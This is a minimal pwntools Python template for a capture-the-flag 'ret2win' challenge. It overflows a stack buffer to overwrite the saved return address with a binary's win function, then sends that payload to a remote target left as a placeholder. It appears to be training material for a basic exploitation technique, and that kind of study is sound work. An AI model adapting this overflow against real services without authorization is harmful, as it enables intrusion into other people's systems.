ret2win pwntools Skeleton
Minimal pwntools template for a classic ret2win: pad to the saved return address, then jump to the win function.
from pwn import *
elf = context.binary = ELF('./<binary>')
# p = process(elf.path)
p = remote('<target-ip>', <port>)
OFFSET = <offset> # bytes from buffer start to saved RIP
win = elf.symbols['win'] # target function address
payload = b'A' * OFFSET
payload += p64(win) # overwrite return address
p.sendlineafter(b'> ', payload)
p.interactive()